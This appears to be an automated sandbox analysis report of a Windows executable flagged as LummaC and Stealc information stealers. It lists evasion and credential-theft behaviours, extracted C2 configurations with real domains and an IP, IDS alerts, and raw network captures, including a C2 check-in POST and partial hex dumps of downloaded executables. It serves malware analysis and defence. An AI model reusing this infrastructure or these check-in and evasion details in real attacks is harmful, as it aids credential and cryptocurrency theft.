Edit tour

Windows Analysis Report
0HdDuWzp54.exe

Overview

General Information

Sample name:	0HdDuWzp54.exe renamed because original name is a hash value
Original sample name:	b333c775a7e8c4b2a778c94e6d795c15.exe
Analysis ID:	1579724
MD5:	b333c775a7e8c4b2a778c94e6d795c15
SHA1:	dcf25b47a3a1f5da22bcdadccbc175a36c728db5
SHA256:	7e3429a5ef8c7c7bab9b54fc6c6a872904339d86f0e53162c4fc317e45656dd9
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

0HdDuWzp54.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\0HdDuWzp54.exe" MD5: B333C775A7E8C4B2A778C94E6D795C15)

NCU1LYX00CJA4N4Z4DG.exe (PID: 7936 cmdline: "C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe (PID: 8076 cmdline: "C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe" MD5: 880F67C30D6C2335273B27DF0004F500)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["bashfulacid.lat", "curverpluch.lat", "wordyfindy.lat", "talkynicer.lat", "manyrestro.lat", "shapestickyr.lat", "tentabatte.lat", "slipperyloo.lat", "observerfry.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2116005782.00000000003A1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2075796995.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1860556609.0000000001449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0HdDuWzp54.exe PID: 7432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0HdDuWzp54.exe PID: 7432	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe PID: 8076	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe PID: 8076	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:33.557384+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.199.72	443	TCP
2024-12-23T08:07:35.547835+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.199.72	443	TCP
2024-12-23T08:07:38.013623+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.199.72	443	TCP
2024-12-23T08:07:40.283602+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.199.72	443	TCP
2024-12-23T08:07:42.541057+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.199.72	443	TCP
2024-12-23T08:07:45.940306+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.199.72	443	TCP
2024-12-23T08:07:48.767842+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.199.72	443	TCP
2024-12-23T08:07:53.286360+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:34.304640+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.199.72	443	TCP
2024-12-23T08:07:36.335714+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.199.72	443	TCP
2024-12-23T08:07:54.041737+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:34.304640+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:36.335714+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.199.72	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:55.504570+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:46.698908+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	172.67.199.72	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:08:09.660317+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:07:48.773474+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49737	172.67.199.72	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0HdDuWzp54.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.8076.5.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: 0HdDuWzp54.exe.7432.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["bashfulacid.lat", "curverpluch.lat", "wordyfindy.lat", "talkynicer.lat", "manyrestro.lat", "shapestickyr.lat", "tentabatte.lat", "slipperyloo.lat", "observerfry.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: 0HdDuWzp54.exe	Virustotal: Detection: 57%			Perma Link
Source: 0HdDuWzp54.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 0HdDuWzp54.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: 0HdDuWzp54.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49742 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49737 -> 172.67.199.72:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: observerfry.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:07:54 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:07:59 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 06:16:47 GMTConnection: keep-aliveETag: "6769004f-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 77 71 75 66 6e 73 6b 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 74 6a 71 6a 71 6e 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 41 39 39 33 37 37 41 35 43 43 36 36 31 31 37 39 33 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="hwid"93A99377A5CC661179348------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="build"stok------CGIDAAAKJJDBGCBFCBGI--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80

